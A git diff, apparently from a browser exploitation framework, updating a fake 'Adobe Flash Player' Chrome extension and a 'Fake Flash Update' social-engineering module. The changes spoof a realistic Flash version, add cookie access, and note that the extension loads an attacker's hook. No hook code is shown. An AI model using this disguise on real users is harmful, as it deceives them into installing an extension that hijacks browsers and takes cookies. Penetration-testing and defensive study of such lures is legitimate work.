diff --git a/extensions/demos/flash_update_chrome_extension/manifest.json b/extensions/demos/flash_update_chrome_extension/manifest.json
index 0efdee334..7e2c4fa44 100644
--- a/extensions/demos/flash_update_chrome_extension/manifest.json
+++ b/extensions/demos/flash_update_chrome_extension/manifest.json
@@ -1,10 +1,13 @@
{
+ // Simple chrome extension
+ // Just loads beef into the extension context.
+ //
+ // You may need to set the IP address of the beef hook in background.js
+ // Then you can pack the extension (from within the chrome extensions page) and add the crx file to extensions/demos/html/
+
"name": "Adobe Flash Player",
- "version": "1.0",
- // when the browser icon is clicked, a new tab is open to maintain persistence (chrome.tabs.create)
- // for the sake of testing...unfortunately the popup is closed when the user is not focusing on it.
- // See at the end of index.html file.
- "description": "Introduces vulnerabilites into webbrowsers",
+ "version": "11.2.202.235",
+ "description": "Introduces vulnerabilites into web browsers",
"background": {
"scripts": ["background.js"]
},
@@ -17,6 +20,7 @@
"tabs",
"http://*/*",
"https://*/*",
- "file://*/*"
+ "file://*/*",
+ "cookies"
]
}
diff --git a/extensions/demos/html/adobe_flash_update.crx b/extensions/demos/html/adobe_flash_update.crx
index 21ee67d77..91a0af8c8 100644
Binary files a/extensions/demos/html/adobe_flash_update.crx and b/extensions/demos/html/adobe_flash_update.crx differ
diff --git a/extensions/demos/html/adobe_flash_update.png b/extensions/demos/html/adobe_flash_update.png
index 2906b86ac..9f0278e6b 100644
Binary files a/extensions/demos/html/adobe_flash_update.png and b/extensions/demos/html/adobe_flash_update.png differ
diff --git a/modules/social_engineering/fake_flash_update/config.yaml b/modules/social_engineering/fake_flash_update/config.yaml
index 2142bfab4..78131d2c4 100644
--- a/modules/social_engineering/fake_flash_update/config.yaml
+++ b/modules/social_engineering/fake_flash_update/config.yaml
@@ -19,7 +19,7 @@ beef:
enable: true
category: "Social Engineering"
name: "Fake Flash Update"
- description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension."
+ description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.
A chrome extenstion has privileged access and can do a whole lot..